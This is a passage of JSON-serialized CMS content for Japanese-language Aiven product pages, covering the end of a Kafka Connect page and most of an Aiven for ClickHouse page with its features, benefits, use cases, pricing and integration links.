Kafkaクラスタの監視と管理には"},{"_key":"762cb73d9813","_type":"span","marks":["349cedee45b9"],"text":"Provectus"},{"_key":"2e144d918d16","_type":"span","marks":[],"text":"、レコードの生成と消費またはサービス構成の一覧には"},{"_key":"36870ea67948","_type":"span","marks":["855d5659c4a7"],"text":"kcat"},{"_key":"99368f0ae719","_type":"span","marks":[],"text":" など、さまざまなツールを使用できます。"}],"markDefs":[{"_key":"855d5659c4a7","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/kcat"},{"_key":"349cedee45b9","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/provectus-kafka-ui"},{"_key":"5df6f87ed31c","_type":"link","href":"https://www.klaw-project.io/"}],"style":"normal"}],"title":"Apache Kafkaの完全なエコシステム","variant":"icon-card"},{"_key":"af195155db68","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/flink/howto/connect-kafka","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48-svg","_type":"reference"}},"subtitle":[{"_key":"fbec11fd3ce4","_type":"block","children":[{"_key":"84e43f0c585a0","_type":"span","marks":[],"text":"SQLベースのストリーミングデータパイプラインを作成します。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®とAiven for Apache Flink®","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"f8f2c86699f5","_type":"block","children":[{"_key":"baa5fbaaf2ca0","_type":"span","marks":[],"text":"Apache Kafkaをセットアップするにあたり、広範囲な役に立つツールやプラグインの中から選ぶことができます。Apache Kafkaクラスタの監視と管理には"},{"_key":"e15ad31aa9d6","_type":"span","marks":["e1376ecb6ec3"],"text":"Provectus"},{"_key":"0ff2177498de","_type":"span","marks":[],"text":"、レコードの生成、消費およびサービス構成の一覧を表示するには"},{"_key":"cf852286b5a5","_type":"span","marks":["582b12cf5801"],"text":"kcat"},{"_key":"2f8d742081b7","_type":"span","marks":[],"text":" など、お好みのUIツールをご利用ください。"},{"_key":"ef8ad3ca9f7c","_type":"span","marks":["7e55ed8cb5eb"],"text":"ツールの全リストはこちらでご確認ください。"}],"markDefs":[{"_key":"7e55ed8cb5eb","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/list-tools"},{"_key":"582b12cf5801","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/kcat"},{"_key":"e1376ecb6ec3","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/provectus-kafka-ui"}],"style":"normal"}],"title":"Apache Kafkaツールボックス"},{"_key":"9a9da40fd5c6","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d0a79bc5fed3162bbefc7216f3e6c4084573ee9a-562x205-png","_type":"reference"}},"narrowImage":false,"primaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/karapace","title":"Githubで見る"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/karapace","title":"Karapaceの利用を開始する"},"text":[{"_key":"53faffaef4e1","_type":"block","children":[{"_key":"83252946aa330","_type":"span","marks":["6755e69730b7"],"text":"Karapace"},{"_key":"83252946aa331","_type":"span","marks":[],"text":" は、Apache Kafka RESTおよびSchema Registryのオープンソース実装です。Karapaceを使用すると、REST APIを介してメッセージの生成と消費、およびApache Kafkaクラスタの管理を行うことができます。Karapace Schema registryを使用すると、メッセージスキーマを作成、管理、進化させることができます。"}],"markDefs":[{"_key":"6755e69730b7","_type":"link","href":"https://karapace.io"}],"style":"normal"}],"title":"Karapace Schema registry - メッセージスキーマを作成、管理、進化","variant":"mediaRight"},{"_key":"42136c83fa90","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"77332fcbdca3","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"7bElzaANLEsZkdrtXlmTqh","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"71d927e255a5","_type":"block","children":[{"_key":"3920f082a3de0","_type":"span","marks":[],"text":"Apache Kafka® Connectを使用して、既存アプリケーションのデータベース接続設計を更新し、既存のソリューションを中断することなく最新の技術ツールを使用する方法をご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Apache Kafka Connect JDBCソースの使用:PostgreSQL®の例","variant":"default"},{"_key":"95d99a825da19b5337b84f7dbf227e77","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"416nMKY0qTdqgpEQP114Ks","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"2b0a78589904","_type":"block","children":[{"_key":"92bd7d9da5bc0","_type":"span","marks":[],"text":"kcctlは、オンプレミス、Aiven、その他のクラウドを問わず、すべてのApache Kafka Connectインスタンスを1つのコマンドラインツールで管理することができます。使い方を確認してみましょう。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"kcctlを使用したApache Kafka® Connectの接続管理","variant":"default"},{"_key":"be6b99f554467ca5ed2dbf6ab32b851f","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"8b9a64ed-bac3-42ca-b892-2b5fe33d4bf1","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345-png","_type":"reference"}},"subtitle":[{"_key":"3f68d9e1e21f","_type":"block","children":[{"_key":"22f5152ee9370","_type":"span","marks":[],"text":"Apache Kafka®を使用して、ターゲットデータベースとソースデータベースを継続的に同期させながら、データベーステクノロジー間でデータ移行を行う方法をご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Apache Kafka®とApache Kafka® Connectによるデータベース移行","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for Apache Kafkaの使用方法についての説明"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka Connect - フルマネージド、メンテナンスフリー ✓ オールインワンのオープンソースクラウドデータプラットフォーム ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-16b477dd3d9684ace0bd61a09f594c74bd175f46-1200x630-jpg","_type":"reference"}},"metaTitle":"Managed Apache KafkaⓇ Connectサービス"},"service":{"_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},"slug":{"_type":"slug","current":"/kafka-connect"},"title":"Kafka Connect"} {"__i18n_base":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-17T20:38:38Z","_id":"37a2d4d0-b76b-41c6-9f9d-973358ee862d__i18n_ja","_rev":"L3boCkkiM9On4ApfxNjqvX","_type":"product","_updatedAt":"2024-03-12T05:03:14Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for ClickHouse®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"6aa27811e1b7","_type":"block","children":[{"_key":"8a9899bbb041","_type":"span","marks":[],"text":"Aiven for ClickHouse® は、オープンソースのClickHouseをベースにしたマネージドクラウドデータウェアハウスです。高速でリソース効率の高いカラム型データベースで、高度なSQLクエリーを使い、リアルタイムな分析データレポートを作成できます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"2410d47f9913","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-17d887c154cde266a33ebae9dc81dca3d32c1820-1600x1137-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for ClickHouse®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for ClickHouse®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"5beea68026a7","_type":"block","children":[{"_key":"a3cf81a43ffa0","_type":"span","marks":[],"text":"Aiven for ClickHouse® の高性能分析"}],"markDefs":[],"style":"h3"},{"_key":"287f5e4029ca","_type":"block","children":[{"_key":"25584b363cd70","_type":"span","marks":[],"text":"Aiven for ClickHouseは、フルマネージドの分散データウェアハウスとして、お客様が選んだクラウド上にデプロイできます。非常に高い性能、優れたデータ圧縮、分析用の豊富なSQL拡張機能で知られるClickHouseは、運用データベースから分析をオフロードし、ストリーミングデータからリアルタイムのインサイトを得る目的に理想的です。"}],"markDefs":[],"style":"normal"},{"_key":"c445b6894858","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"dcbe1e5c03a9","_type":"block","children":[{"_key":"3ce9f118ab9a0","_type":"span","marks":["6053af18cf0a"],"text":"ClickHouseとは(ブログ)"}],"markDefs":[{"_key":"6053af18cf0a","_type":"internalLink","internalLink":{"_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}}],"style":"normal"},{"_key":"571f18c388f5","_type":"block","children":[{"_key":"8bd0c47b09060","_type":"span","marks":["c6cbbf8bea8d"],"text":"Aiven for ClickHouseベータ版(ドキュメント)"}],"markDefs":[{"_key":"c6cbbf8bea8d","_type":"link","href":"https://aiven.io/docs/products/clickhouse"}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"3273c7bd0c6b","_type":"block","children":[{"_key":"7c0941e539720","_type":"span","marks":[],"text":"ClickHouseからPostgreSQL®、Apache Kafka® のデータにアクセス"}],"markDefs":[],"style":"h3"},{"_key":"3d4d7b46bff1","_type":"block","children":[{"_key":"968090d3ed3f0","_type":"span","marks":[],"text":"ClickHouseの分析用データソースとして、Aiven for Apache Kafka® を容易に統合できます。フェデレーションクエリの統合により、Aiven for PostgreSQL® のデータにアクセスできます。"}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"d5d3f9a26695","_type":"block","children":[{"_key":"eaa2d405eb580","_type":"span","marks":["ec46ed1441f6"],"text":"Aiven for ClickHouseベータ版入門(ドキュメント)"}],"markDefs":[{"_key":"ec46ed1441f6","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/getting-started"}],"style":"normal"},{"_key":"39671b8bb793","_type":"block","children":[{"_key":"64c5605e7a300","_type":"span","marks":["2353a163328b"],"text":"PostgreSQLとClickHouseの統合方法(ドキュメント)"}],"markDefs":[{"_key":"2353a163328b","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/integrate-pg"}],"style":"normal"},{"_key":"50ca61d06cec","_type":"block","children":[{"_key":"8ab14b56e90e0","_type":"span","marks":["5934ea79ab23"],"text":"Apache KafkaとClickHouseの統合方法(ドキュメント)"},{"_key":"31a6ab9e2428","_type":"span","marks":[],"text":" "}],"markDefs":[{"_key":"5934ea79ab23","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/integrate-kafka"}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"c8c18dd98d3c","_type":"block","children":[{"_key":"4d8815c187700","_type":"span","marks":[],"text":"Grafana® でインサイトを可視化"}],"markDefs":[],"style":"h3"},{"_key":"c7d5c53e00d4","_type":"block","children":[{"_key":"c221435f5adb0","_type":"span","marks":[],"text":"容易に追加できるGrafanaでダッシュボードを設定し、分析結果を可視化できます。また、Sisense、PowerBI、Tableauなど外部のBIツールを使って可視化することもできます。"}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"78543ddae992","_type":"block","children":[{"_key":"e922e8e372e70","_type":"span","marks":["67cf0b5db02c"],"text":"Grafana® でClickHouse® のデータを可視化する(ドキュメント)"}],"markDefs":[{"_key":"67cf0b5db02c","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana"}],"style":"normal"},{"_key":"97f501be1d83","_type":"block","children":[{"_key":"5268fe360a8a0","_type":"span","marks":["e52fc92b64aa"],"text":"Aiven for ClickHouse® にJDBCを接続する(ドキュメント)"}],"markDefs":[{"_key":"e52fc92b64aa","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-with-jdbc"}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"73b613092783","_type":"block","children":[{"_key":"96cf013220ae0","_type":"span","marks":[],"text":"お気に入りの外部ロギング・監視ツールとの連携"}],"markDefs":[],"style":"h3"},{"_key":"878d6b56701d","_type":"block","children":[{"_key":"3576bc739e320","_type":"span","marks":[],"text":"AWS CloudWatch Logs、Google Cloud Logging、外部のElasticsearchなど、外部ロギングツールの統合も容易です。"}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"46a4ae05b690","_type":"block","children":[{"_key":"6df214a285ba0","_type":"span","marks":["081e8fc4fe53"],"text":"統合とコネクタ"}],"markDefs":[{"_key":"081e8fc4fe53","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"af2ec82b799b","_type":"block","children":[{"_key":"1c7408d774850","_type":"span","marks":["85da3295d6ee"],"text":"M3とGrafanaを使用したメトリクスとグラフ(ブログ)"}],"markDefs":[{"_key":"85da3295d6ee","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"80e63e0eb379","_type":"block","children":[{"_key":"79757a69ceb30","_type":"span","marks":[],"text":"Webコンソールから直接、またはAPI、CLI、Terraformを使用したプログラムで10分以内にフルマネージドのクラウドデータウェアハウスのセットアップを完了できます。データソースとしてAiven for PostgreSQL® やAiven for Apache Kafka® を統合し、ビジネスの推進に向けたインサイトを得る高性能な分析を行うことができます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for ClickHouse®でできること","tools":[{"_key":"adf3425d8e31","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"30872a54ffed","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"clickhouse"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"46318ec7573e","_type":"block","children":[{"_key":"7130edbd77d10","_type":"span","marks":[],"text":"ClickHouseは、最も高速なクラウドデータウェアハウスの一つとして知られています。1秒間に数億行、数十ギガバイトのデータを処理し、優れたデータ圧縮性能を備えています。"}],"markDefs":[],"style":"normal"}],"title":"比類なきパフォーマンスとAivenの信頼性"},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"933e5f4fb9bd","_type":"block","children":[{"_key":"580e5f4ed8880","_type":"span","marks":[],"text":"PostgreSQL® やApache Kafka® など、他のAivenのサービスのデータも、直感的に操作できるコンソールを使い、ワンクリックで統合し、活用できます。"}],"markDefs":[],"style":"normal"}],"title":"内蔵されたデータ連携 - オールインワンプラットフォーム"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"クラスタへのメンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。お客様がデータを実用的なインサイトに変えることに集中できるために、このような作業は私たちにおまかせください。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aiven for ClickHouseの価格は、一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性の高い価格設定 - ネットワークコストは不要"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"7c443705b8fa","_type":"block","children":[{"_key":"d67c731fd6d00","_type":"span","marks":[],"text":"Aiven for ClickHouseを使うと、クラスターの設定、新しいノードのデプロイ、クラウドの移行、データベースのフォークもわずか数クリックで実行でき、シンプルなダッシュボードでそのすべてを監視できます。"}],"markDefs":[],"style":"normal"},{"_key":"808614501a81","_type":"block","children":[{"_key":"a6bbd3a644130","_type":"span","marks":[],"text":"ClickHouseの優れた性能、効果的な圧縮、豊富なSQL分析拡張機能に加え、マルチクラウドに対応し、ベンダーロックインのないメリットを最大限にご活用ください。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":" Aiven for ClickHouse®サービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"59b3ee3ccd12","_type":"block","children":[{"_key":"df749344936c0","_type":"span","marks":[],"text":"クエリが業務アプリケーションのパフォーマンスに影響を与えないように分析の負荷をオフロードすることで、業務システムの高いパフォーマンスを維持します。"}],"markDefs":[],"style":"normal"}],"title":"運用データベースからの分析のオフロード","variant":"default"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"fa5c665dc418","_type":"block","children":[{"_key":"d47838de66100","_type":"span","marks":[],"text":"ストリーミングデータや時系列データ(IoTテレメトリ、観察データ、Webクリックストリームデータなど)には大量のデータを処理し、ほぼリアルタイムな分析を行うことができるデータウェアハウスが必要です。"}],"markDefs":[],"style":"normal"}],"title":"ストリーミングデータと時系列データの解析","variant":"default"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"5693e3c65efc","_type":"block","children":[{"_key":"f17c70cd088c0","_type":"span","marks":[],"text":"ClickHouseの高い性能は、データに基づく意思決定のスピードアップに役立ちます。高速なデータ処理により、必要な答えを得るまで何時間も何日も待たされることなく瞬時に手に入れることができます。"}],"markDefs":[],"style":"normal"}],"title":"リアルタイムの分析レポート","variant":"default"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるClickHouseの活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=clickhouse","title":"プランを見る"},"subtitle":[{"_key":"89c17d995e3a","_type":"block","children":[{"_key":"e63ef79368480","_type":"span","marks":[],"text":"月額190ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位での課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"},{"_key":"30322af68700","_type":"block","children":[{"_key":"fbbc227784120","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"最適なプランを探す","variant":"default"}],"rounded":false,"subtitle":[{"_key":"e948566cc4f3","_type":"block","children":[{"_key":"4aa0a5c8a0e80","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加費用もありません。プライベートネットワーク(VPC)、シングルテナント、高い可用性のマルチAZを利用できます。必要なときにクラスタやリージョンをスピンアップし、不要なときにはシャットダウンできます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格 - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐ最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"17eed8c3f610","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"セットアップ","text":[{"_key":"a8c627d0d280","_type":"block","children":[{"_key":"36375ba0ac71","_type":"span","marks":[],"text":"10分でフルマネージドClickHouseクラスタの稼働が完了"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b423572ceba0","_type":"block","children":[{"_key":"3c2e389eab140","_type":"span","marks":[],"text":"50以上のリージョンでAWSやGCPにデプロイ可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d7296e64ecc","_type":"block","children":[{"_key":"46ee967f5df30","_type":"span","marks":[],"text":"最適化されたインスタンスタイプとストレージオプションに基づくハイパフォーマンスクラスター"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5ef5a1d26f35","_type":"block","children":[{"_key":"fd7d3bb9a8d50","_type":"span","marks":[],"text":"クラウドプロバイダーのアベイラビリティゾーンに分散した高可用性クラスター(最低3ノード)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b46f46daae3b","_type":"block","children":[{"_key":"8212a80d898a0","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"8212a80d898a1","_type":"span","marks":["dd9074f3d872"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"8212a80d898a2","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"dd9074f3d872","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft","ytId":"h-UzBvsZlFI"},{"_key":"cc13a6c715fa88fe7bf8d12a5803da64","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"接続","text":[{"_key":"3f30f15f7d5c","_type":"block","children":[{"_key":"cad138a0eceb0","_type":"span","marks":["ba326b88525e"],"text":"Aiven for Apache Kafka®データ"},{"_key":"cad138a0eceb1","_type":"span","marks":[],"text":"への組み込み型インテグレーションによる簡単なアクセス"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ba326b88525e","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/integrate-kafka"}],"style":"normal"},{"_key":"c91253944c4b","_type":"block","children":[{"_key":"c30ccae1f98e0","_type":"span","marks":[],"text":"Aiven for PostgreSQL®との統合による、データ転送不要のフェデレーテッドクエリ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7c2e150f4f4d","_type":"block","children":[{"_key":"a6d43c87b33f0","_type":"span","marks":["bee22c2b8b7c"],"text":"Aiven for Grafana®のデータソースとして統合"},{"_key":"a6d43c87b33f1","_type":"span","marks":[],"text":"することによる、可視化の実現"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bee22c2b8b7c","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana"}],"style":"normal"},{"_key":"9f59d97b529e","_type":"block","children":[{"_key":"17f993e59d060","_type":"span","marks":["2cf61d15c6c1"],"text":"VPC peering"},{"_key":"17f993e59d061","_type":"span","marks":[],"text":"、"},{"_key":"17f993e59d062","_type":"span","marks":["d3dce5e32fbc"],"text":"PrivateLink"},{"_key":"17f993e59d063","_type":"span","marks":[],"text":"またはTransitGatewayテクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2cf61d15c6c1","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"d3dce5e32fbc","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"fc740096467b","_type":"block","children":[{"_key":"cc298ffbf2810","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"8869782c4bf1","_type":"span","marks":["9cd184bb8a18"],"text":"統合"},{"_key":"ddf9f799921e","_type":"span","marks":[],"text":"したり、Aivenの可観測性ツールを使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9cd184bb8a18","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight","ytId":"PKJHv9xAdW8"},{"_key":"2f45bbe0b7154a58a9e0a4c19baf398f","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"管理","text":[{"_key":"612a3d9584dd","_type":"block","children":[{"_key":"6ce40f0b7d370","_type":"span","marks":[],"text":"Aiven Console (GUI) 